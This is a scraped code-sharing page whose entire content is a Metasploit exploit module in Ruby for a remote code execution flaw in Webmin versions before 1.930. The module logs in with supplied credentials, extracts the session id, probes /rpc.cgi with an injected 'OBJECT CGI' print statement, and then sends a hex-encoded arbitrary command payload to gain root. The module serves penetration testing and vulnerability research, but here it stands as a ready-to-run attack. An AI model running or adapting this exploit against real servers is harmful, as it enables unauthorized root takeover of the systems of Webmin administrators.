扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Webmin < 1.930 Remote Code Execution", 'Description'=> %q{ This exploit takes advantage of a code execution issue within the function unserialise_variable() located in web-lib-funcs.pl, in order to gain root. The only prerequisite is a valid session id. }, 'License'=> MSF_LICENSE, 'Author' => [ 'James Bercegay', # Vulnerability Discovery ], 'References' => [ [ 'URL', 'https://www.gulftech.org/' ] ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets'=> [ ['Automatic', {}] ], 'DisclosureDate' => '2019/08/30', 'DefaultTarget'=> 0)) register_options( [ OptString.new('WMPORT', [ true,"Webmin port", '10000']), OptString.new('WMUSER', [ true,"Webmin username", 'test']), OptString.new('WMPASS', [ true,"Webmin password", 'test']), ]) end def check # Set Webmin port datastore['RPORT'] = datastore['WMPORT'] # Verbose print_status("Attempting to login") # Send login request res = send_request_cgi( { 'uri' =>'/session_login.cgi', 'method'=> 'POST', 'vars_post' => { 'user' => datastore['WMUSER'], 'pass' => datastore['WMPASS'], 'save' => '1' }, 'cookie' => "redirect=1; testing=1; sessiontest=1;" }) # If succesful cookie will be set if ( res and res.headers['Set-Cookie'] ) # Do we have a valid SID? if ( /sid=/.match(res.headers['Set-Cookie']) ) # Extract the SID sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1] print_good("Login was successful") else # No dice print_bad("Unable to login") return Exploit::CheckCode::Safe end else # No dice print_bad("Unexpected response") return Exploit::CheckCode::Safe end # Verbose print_status("Checking if host is vulnerable") # Try to execute arbitrary code res = send_request_cgi({ 'uri'=> '/rpc.cgi', 'method' => 'POST', 'headers'=> { 'Referer' => 'http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s }, 'data' => 'OBJECT CGI;print "Content-Type: text/metasploit\n\n"', 'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid }) # If it works our custom Content-Type will be set if ( res.headers['Content-Type'] and res.headers['Content-Type'] == "text/metasploit" ) # Good return Exploit::CheckCode::Vulnerable else # Bad return Exploit::CheckCode::Safe end end def exploit # Set Webmin port datastore['RPORT'] = datastore['WMPORT'] # Verbose print_status("Attempting to login") # Send login request res = send_request_cgi( { 'uri' =>'/session_login.cgi', 'method'=> 'POST', 'vars_post' => { 'user' => datastore['WMUSER'], 'pass' => datastore['WMPASS'], 'save' => '1' }, 'cookie' => "redirect=1; testing=1; sessiontest=1;" }) # If succesful cookie will be set if ( res and res.headers['Set-Cookie'] ) # Do we have a valid SID? if ( /sid=/.match(res.headers['Set-Cookie']) ) # Extract the SID sid = /sid=([a-z0-9]+);/.match(res.headers['Set-Cookie'])[1] print_good("Login was successful") else # No dice print_bad("Unable to login") return end else # No dice print_bad("Unexpected response") return end # Verbose print_status("Sending selected payload") # Hex encode payload to prevent problems with the payload getting mangled hex = '\x' + payload.encoded.scan(/./).map{ |x| x.unpack('H*') }.join('\x') # Send selected payload res = send_request_cgi({ 'uri'=> '/rpc.cgi', 'method' => 'POST', 'headers'=> { 'Referer' => 'https://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s }, 'data' => 'OBJECT CGI;<code>' + hex + '</code>', 'cookie' => 'redirect=1; testing=1; sessiontest=1; sid=' + sid }) end end |
体验盒子
